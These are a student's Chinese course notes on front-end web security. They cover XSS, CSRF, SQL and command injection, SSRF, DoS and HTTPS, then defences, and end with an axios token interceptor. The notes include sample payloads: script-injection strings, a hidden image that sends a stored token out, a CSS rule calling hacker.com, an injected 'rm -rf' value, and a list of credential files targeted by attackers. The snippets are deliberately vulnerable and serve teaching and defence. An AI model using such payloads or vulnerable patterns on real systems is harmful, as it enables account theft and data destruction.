Web安全防护开发|青训营笔记
这是我参与「第四届青训营 」笔记创作活动的的第8天。今天的课程围绕前端开发中网络编程的安全性展开,分为两方面:一方面从Hacker的角度讲解如何对网站进行攻击,另一方面从开发工程师的角度需要考虑如何防护。
一、本节课重点内容:
本节课重点包括:XSS攻击与防护、DoS攻击与防护、CSRF攻击与防护、Injection注入攻击、HTTP协议与数字签证等,需要对网络编程知识有一定基础。
二、课堂知识点纪要:
攻击篇
- XSS攻击
- XSS是通过浏览器对网站页面插入恶意交互脚本获取其他用户浏览器当前渲染的账户信息。
- XSS利用网页对用户提交信息的盲目信任像服务器传输脚本木马攻击。
- XSS通常伪装成网站类似UI如弹窗表单,诱骗用户点击/填写表单,切去token/cookie等用户隐私,而且通常暗地执行脚本,难以从UI上察觉。
//存储式XSS
通过数据库注入,将恶意脚本伴随输入框插入数据库中。
定时访问页面,读取数据库数据发送到指定服务器。
存储式XSS使危害最大的XSS攻击
fetch("/submit",{
body:JSON.stringfy({
id:"1",
content:"<script>alert(“XSS”);</script>":
});
});
//响应式XSS
//直接从URL上携带参数攻击,涉及数据库
public async render(e){
const {params} = e.query;
e.status = 200;
e.body = '<div>${params}</div>'
}
//基于DOM的XSS
不需要服务器参与,通过浏览器发起、执行恶意脚本。
const content = new URL(location.href).searchParmas.get("params");
const div = document.createElement("div");
div.innerHTML = content;
documnet.body.append(div);
//基于渲染机制Mutation的XSS
利用了浏览器对DOM渲染的特性
不同的浏览器有有区别
<noscript>
<p title= "</noscript><img src=x onError=alert{1}>">
-
CSRF攻击
CSRF (Cross-site request forgery),中文是跨站伪造请求。
-
特性:① 用户没有直接访问请求页面,但是目标服务器对饮的接口被访问了,而且请求成功返回正常。
-
CSRF-GET/POST请求 //攻击者只需要构造GET请求按钮、POST请求表单即可。
-
<img style="display:none" src="https//mybaidu.com/login/account="${getAccount()}?token=${localStorage.getItem("atokenofbaidu")}">
-
SQL Injection攻击
- SQL Injection又叫做数据库注入,通常直接在请求体中写SQL参数或者SQL命令,已达到清楚数据库、转发、修改数据的目的。
- 注入攻击不仅可以用于SQL服务端,在CLI脚手架、OS命令行等都可以运用。
- SSRF(Server-Side Request Forgery)严格来说不算注入,但原理相似。
//通常直接在请求体参数中拼接SQL命令:
public async render(e){
const {account,dataForm} = e.query;
const res = await sql.query(`
SELECT a,b,c FROM table
WHERE account = ${account}
AND list = ${dataForm}
`);
e.body = render(res);
}
//请求api用书写字符串请求应该注意 过滤
public async render(e){
const{img,option}=e.request.body;
exec(` convert-cli ${img} -o ${gif}`);
e.body = "ok";
}
fetch("/api",{
method: "POST",
body:JSON.stringfy({
option : `‘ && rm -rf xx`
})
})
//注入攻击者通常也会瞄准服务器的系统文件
/etc/passwd
/etc/shadow
./ssh
/etc/nignx/nignx.conf //流量攻击、使网站负载宕机
...
//
- SSRF
- 请求用户自定义的回调接口 callback
- web server 有内网权限
public async webhook(e){ e.body = await fetch(e.query.callback) ] ···
- DoS攻击
- 通过过载请求使得服务器资源被过度消耗而崩溃
- 正则表达式:贪婪模式
const greedy = /a+/ ;
const nogreedy = /a+?/ ;
const e = "XXX" ;
console.log(e.match(greedy)[0]);
console.log(e.match(nogreedy)[0])
-
DoS攻击分类
- ReDoS:基于正则表达式的DoS:
- L-DoS (Logical DoS) 通常以循环执行逻辑、执行SQL登录、数据库写入、文件备份等大量耗时的同步操作。
- DDoS (Distributed DoS):通过服务器任意API直接访问IP,占用带宽使得服务器宕机。DDoS利用TCP的三次握手原理,反复来回交换数据占用带宽。
- 中间人攻击: 俗称“肉鸡”,利用Web的明文请求,无法验证请求端身份与其请求体是否含篡改内容。
防御篇
-
XSS防御
- 永远不要信任用户提交的内容,即不要直接将用户内容转为动态DOM,而是用String形式储存。
- 当用户应用需求需要使用到动态DOM时间,应该设置逻辑对上传DOM和解析DOM进行转义 /
new DOMOarse() - 对于svg文件的上传应该尤其的注意防护,svg文件可以内嵌js脚本
<svg><script>alert("xss")</script></svg> - 尽量不要允许用户自定义跳转(JS)、自定义样式也不行。
<a herf="javascript:alert(‘xss’)"> input[type=radio].list-gtk:check{ backgroud: url("https://hacker.com/api/?list-gtk") }
-
同源请求策略:
- 前端请求时应该保证与服务器的安全策略一致。
- 同源请求策略要求网页所在目录与请求接口域名一致,不一致则会发生跨域(CORS安全策略)。
- 对eval+inline script不生效
-
CSP
-
服务器响应头部'
Content-Security-Policy:script-src 'self'//同源Content-Security-Policy:script-src 'self' http://domain.com"//支持跨域 -
浏览器meta
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
-
-
CSRF安全防御
- 通常网络请求有四种防御策略
- if 伪造请求 === 异常来源
- then 限制请求来源
- Origin 同源请求中,不发送GET+HEAD
- Referer
- CSRF - token防护
- 除了Origin+Referrer 其他熬吧打一把【请求来自于合法来源】的方式
- 先有页面,后有请求
- if 请求来自合法页面
- then 服务器接受页面请求
- then 服务器可以识别
- token验证是通过唯一的加密信息码与用户绑定,每次请求都需要将这个加密码随着请求发送到服务器,服务器解密比对信息后判断是否是用户本人操作。
- token验证码会设置过期时间,避免token泄露。
- CSRF - iframe 攻击
- 当Origin被限制时,攻击者会将请求包在内作为子页面,即可突破同源
- CSRF 防护
- 避免GET接口和POST接口合并等偷懒行为
- 防护SameSIte Cookie信息泄露,SameSite Cookie依赖于第三方的Cookie请求,需要允许第三方域名采集Cookie.
- 防御CSRF需要注意逐级施加权限限制
- 通常网络请求有四种防御策略
-
Inject Protection
- SQL防护
- 最小原则:避免使用sudo || root 命令
- 建立ip白名单,拒绝异常rm操作
- 对URL类型参数、域名、IP加逻辑检验,限制异常请求———防范内网被突破
- SQL防护
-
防范DoS攻击:
- ReDoS
- 减少允许用户使用正则表达式请求
- 增加校验, 对代码做扫描 +正则性能测试
- L-DoS
- 限流: 限制流量的异常波动,对于异常IP封锁。
- 并不是非黑即白: 有时候需要请求量超过阈值才能检测出L-DoS
- 分析代码的性能瓶颈:同步调用、串行逻辑、CPU密集操作
- DDoS
-
过滤:负载均衡、API网关
-
抗量:CDN、快速扩容、 非核心服务降级备战
-
- 中间人防御
- HTTP特性: 可靠性-明文加密,完整性:MAC验证;不可抵赖性-数字签名
- HTTPS加密:在三次握手时进行hash加密,利用公钥和证书进行数字签名校验。
- 将HTTP主动升级到HTTPS:需要之前要有一次HTTPS访问
- 当静态资源被劫持篡改了,可以运用SRI对资源做hash验证。
- ReDoS
三、实践练习案例:
- 实现一个token验证:
import axios from 'axios'
import { message } from 'antd'
import { baseURL } from './baseUrl'
// 给请求地址前加一个"/api"
const instance = axios.create({
// baseURL: 'https://domain.com,
baseURL,
});
instance.interceptors.request.use((config) => {
const token = sessionStorage.getItem('token') || ''
config.headers = {
"Content-Type": 'application/json',
"Authorization": "Bearer " + token
}
return config
}, (error) => {
return Promise.reject(error)
})
// 添加返回拦截器,直接获取返回内容的data
instance.interceptors.response.use((res) => {
if (res.headers["content-disposition"]) {
const fileName = decodeURIComponent(res.headers["content-disposition"]?.split(";")[1]?.split("filename=")[1]?.split(""")[1])
return {
blob: res.data,
fileName
}
} else {
return res.data
}
})
// 封装axios方法,并导出httpReq为新的请求工具
export const httpReq = (method, url, data, resType) => {
return new Promise((resolve, reject) => {
instance({
method: method,
url: url,
data: data,
responseType: resType,
}).then(
(data) => {
resolve(data)
},
(err) => {
// 错误在这统一处理
const status = err.response?.status
const errInfo = err.response?.data.message || status
// 将错误信息传递下去,用于结束请求loading
reject({ status, errInfo })
// 根据状态码做提示处理
switch (status) {
case 400:
message.error(`请求错误: ${errInfo}`)
break
case 401:
message.error(`认证失败: ${errInfo}`)
window.location.href = "/login"
break
case 403:
message.error(`授权失败: ${errInfo}`)
break
case 404:
message.error(`未找到资源: ${errInfo}`)
break
case 412:
message.error(`请求错误: ${errInfo}`)
break
case 500:
message.warning(`服务器未能处理`)
break
default:
break
}
}
)
})
}
四、参考文献:
- 防范XSS攻击前端安全系列(一):如何防止XSS攻击? - 掘金 (juejin.cn)
- SQL注入安全漏斗Web 安全漏洞之 SQL 注入 - 掘金 (juejin.cn)
- HTTP原理与中间人攻击 你连 HTTPS 原理都不懂,还讲“中间人攻击”? - 掘金 (juejin.cn)
五、心得体会:
学习了今天的课程,弥补了我在前端安全认识的空缺。今天课程满满都是干货,无论是在HTML还是JS代码上,都可以找到安全漏洞。尤其在请求网络,即使是token校验也会被遭到攻击,今天的课让我见识到了前端做好请求校验的必要性,否则容易被XSS、